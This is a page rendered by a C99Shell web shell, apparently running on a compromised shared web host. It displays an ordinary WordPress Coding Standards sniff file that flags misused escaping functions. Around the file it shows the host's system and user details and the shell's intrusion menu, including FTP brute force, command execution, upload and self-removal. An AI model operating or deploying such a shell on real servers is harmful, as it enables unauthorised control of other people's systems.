!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/local/wp/vendor/wp-coding-standards/wpcs/WordPress/Sniffs/CodeAnalysis/   drwxr-xr-x
Free 712.66 GB of 879.6 GB (81.02%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     EscapedNotTranslatedSniff.php (2.61 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * WordPress Coding Standard.
 *
 * @package WPCS\WordPressCodingStandards
 * @link    https://github.com/WordPress/WordPress-Coding-Standards
 * @license https://opensource.org/licenses/MIT MIT
 */

namespace WordPressCS\WordPress\Sniffs\CodeAnalysis;

use PHP_CodeSniffer\Util\Tokens;
use PHPCSUtils\Utils\GetTokensAsString;
use WordPressCS\WordPress\AbstractFunctionParameterSniff;

/**
 * Flag calls to escaping functions which look like they may have been intended
 * as calls to the "translate + escape" sister-function due to the presence of
 * more than one parameter.
 *
 * @since 2.2.0
 */
final class EscapedNotTranslatedSniff extends AbstractFunctionParameterSniff {

    /**
     * The group name for this group of functions.
     *
     * @since 2.2.0
     *
     * @var string
     */
    protected $group_name = 'escapednottranslated';

    /**
     * List of functions to examine.
     *
     * @link https://developer.wordpress.org/reference/functions/esc_html/
     * @link https://developer.wordpress.org/reference/functions/esc_html__/
     * @link https://developer.wordpress.org/reference/functions/esc_attr/
     * @link https://developer.wordpress.org/reference/functions/esc_attr__/
     *
     * @since 2.2.0
     *
     * @var array<string, string> Key is the name of the function being matched, value the alternative to use.
     */
    protected $target_functions = array(
        'esc_html' => 'esc_html__',
        'esc_attr' => 'esc_attr__',
    );

    /**
     * Process the parameters of a matched function.
     *
     * @since 2.2.0
     *
     * @param int    $stackPtr        The position of the current token in the stack.
     * @param string $group_name      The name of the group which was matched.
     * @param string $matched_content The token content (function name) which was matched
     *                                in lowercase.
     * @param array  $parameters      Array with information about the parameters.
     *
     * @return void
     */
    public function process_parameters( $stackPtr, $group_name, $matched_content, $parameters ) {
        if ( \count( $parameters ) === 1 ) {
            return;
        }

        /*
         * We already know that there will be a valid open+close parenthesis, otherwise the sniff
         * would have bowed out long before.
         */
        $opener = $this->phpcsFile->findNext( Tokens::$emptyTokens, ( $stackPtr + 1 ), null, true );
        $closer = $this->tokens[ $opener ]['parenthesis_closer'];

        $data = array(
            $matched_content,
            $this->target_functions[ $matched_content ],
            GetTokensAsString::compact( $this->phpcsFile, $stackPtr, $closer, true ),
        );

        $this->phpcsFile->addWarning(
            '%s() expects only a $text parameter. Did you mean to use %s() ? Found: %s',
            $stackPtr,
            'Found',
            $data
        );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.01 ]--